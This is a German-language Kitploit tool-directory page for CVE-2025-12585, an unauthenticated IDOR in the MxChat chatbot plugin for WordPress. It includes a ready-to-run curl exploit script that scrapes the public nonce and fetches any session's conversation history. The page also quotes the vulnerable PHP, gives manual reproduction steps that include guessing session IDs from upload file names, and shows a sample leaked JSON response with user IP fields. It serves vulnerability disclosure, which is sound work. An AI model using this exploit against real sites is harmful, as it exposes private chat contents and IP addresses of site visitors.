Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-12585 — MxChat – KI-Chatbot für WordPress <= 2.5.1 - Nicht authentifizierte Offenlegung von Informationen | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-12585
SchwachstellenanalyseWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffung
GitHubd0n601/cve-2025-12585

CVE-2025-12585

MxChat – KI-Chatbot für WordPress <= 2.5.1 - Nicht authentifizierte Offenlegung von Informationen

Repository anzeigen
5vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MxChat Basic <= 2.5.1 - MxChat – KI-Chatbot für WordPress <= 2.5.1 - Nicht authentifizierte Offenlegung von Informationen

Das MxChat Basic-Plugin überprüft im AJAX-Endpunkt mxchat_fetch_conversation_history nicht die Inhaberschaft der Sitzung, sodass nicht authentifizierte Benutzer über Schwachstellen durch unsichere direkte Objektreferenzen (IDOR) auf den Verlauf anderer Benutzer sowie auf deren IP-Adressen zugreifen können.

TL;DR Exploits

root@kitploit:~
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=$SESSION_ID" \
  -d "nonce=$NONCE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest" | jq

Details

Die Funktion mxchat_fetch_conversation_history() in der Datei /includes/class-mxchat-integrator.php ruft Konversationsdaten ausschließlich auf Basis einer vom Client bereitgestellten session_id ab, ohne zu überprüfen, ob der Anfragende die Sitzung besitzt. Dadurch kann jeder nicht authentifizierte Benutzer mit einer gültigen Nonce (über Frontend-JavaScript verfügbar) auf private Konversationsdaten anderer Benutzer zugreifen. Darüber hinaus enthält der Konversationsverlauf in dem Feld agent_name gespeicherte IP-Adressen der Benutzer, die zusammen mit den Konversationsdaten offengelegt werden.

Die Offenlegung der IP-Adresse erfolgt beim Speichern der Nachrichten:

Lokalisiert in class-mxchat-integrator.php:

root@kitploit:~
361    // 4) Determine user_identifier
362    $user_identifier = $agent_name
363        ? $agent_name
364        : MxChat_User::mxchat_get_user_identifier();

Wobei MxChat_User::mxchat_get_user_identifier() für nicht authentifizierte Benutzer die IP-Adresse des Benutzers zurückgibt:

root@kitploit:~
9    public static function mxchat_get_user_identifier() {
10        if (is_user_logged_in()) {
11            $current_user = wp_get_current_user();
12            return $current_user->user_login;
13        } else {
14            return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15        }
16    }

Diese IP-Adresse wird dann als agent_name im Konversationsverlauf gespeichert und beim Abrufen der Konversationsdaten offengelegt.

Offenlegung von Sitzungs-IDs bei Datei-Uploads

Sitzungs-IDs werden direkt in die Namen hochgeladener Dateien eingebettet. Wenn Benutzer über die Chat-Oberfläche PDF- oder Word-Dokumente hochladen, werden die Dateien mit vorhersehbaren Namensmustern gespeichert: mxchat_{session_id}_{timestamp}.pdf und mxchat_word_{session_id}_{timestamp}.docx. Dadurch werden Sitzungs-IDs über verschiedene Angriffsvektoren auffindbar: Verzeichnisauflistung, falls die Server-Indizierung für das Upload-Verzeichnis aktiviert ist, Zugriff auf die WordPress-Medienbibliothek, mögliche Indizierung durch Suchmaschinen usw.

Verwundbarer Ausschnitt aus class-mxchat-integrator.php:

root@kitploit:~
107 function mxchat_fetch_conversation_history() {
108     if (empty($_POST['session_id'])) {
109         wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110         wp_die();
111     }
112 
113     $session_id = sanitize_text_field($_POST['session_id']);
114     $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115     $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116 
117     if (empty($history)) {
118         wp_send_json_success([
119             'conversation' => [],
120             'chat_mode' => $chat_mode
121         ]);
122         wp_die();
123     }
124 
125     wp_send_json_success([
126         'conversation' => $history,
127         'chat_mode' => $chat_mode
128     ]);
129     wp_die();
130 }

Manuelle Reproduktion

  1. Navigieren Sie zu einer beliebigen Seite der Ziel-WordPress-Website und extrahieren Sie die mxchat_chat_nonce aus dem Seitenquelltext. Die Nonce wird im Frontend-JavaScript als mxchatChat.nonce offengelegt und ist für alle Besucher verfügbar.

  2. Identifizieren Sie eine Sitzungs-ID (Format: mxchat_chat_{9 alphanumerische Zeichen}). Sitzungs-IDs können über hochgeladene Dateinamen entdeckt werden, falls Verzeichnisauflistung oder Medienbibliothek-Zugriff aktiviert ist, oder durch Testen sequenzieller Muster oder häufiger Werte ermittelt werden.

  3. Führen Sie den folgenden curl-Befehl aus, um den Konversationsverlauf einer beliebigen Sitzung abzurufen:

root@kitploit:~
curl -X POST http://example.com/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=mxchat_chat_7jxi3jsdb" \
  -d "nonce=YOUR_NONCE_HERE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest"
  1. Sie erhalten eine JSON-Antwort mit dem vollständigen Konversationsverlauf, einschließlich aller Benutzernachrichten, Bot-Antworten, Zeitstempel, Benutzer-IP-Adressen und Sitzungsmetadaten:
root@kitploit:~
{
  "success": true,
  "data": {
    "conversation": [
      {
        "id": "6903e8a1e195e",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863841925,
        "agent_name": "IP.REDACTED"
      },
      {
        "id": "6903e8a33c86a",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863843248,
        "agent_name": "IP.REDACTED"
      }
    ],
    "chat_mode": "ai"
  }
}

Das Feld agent_name enthält für nicht authentifizierte Benutzer die IP-Adresse des Benutzers ($_SERVER['REMOTE_ADDR']), die zusammen mit den Konversationsdaten offengelegt wird.

Tool herunterladen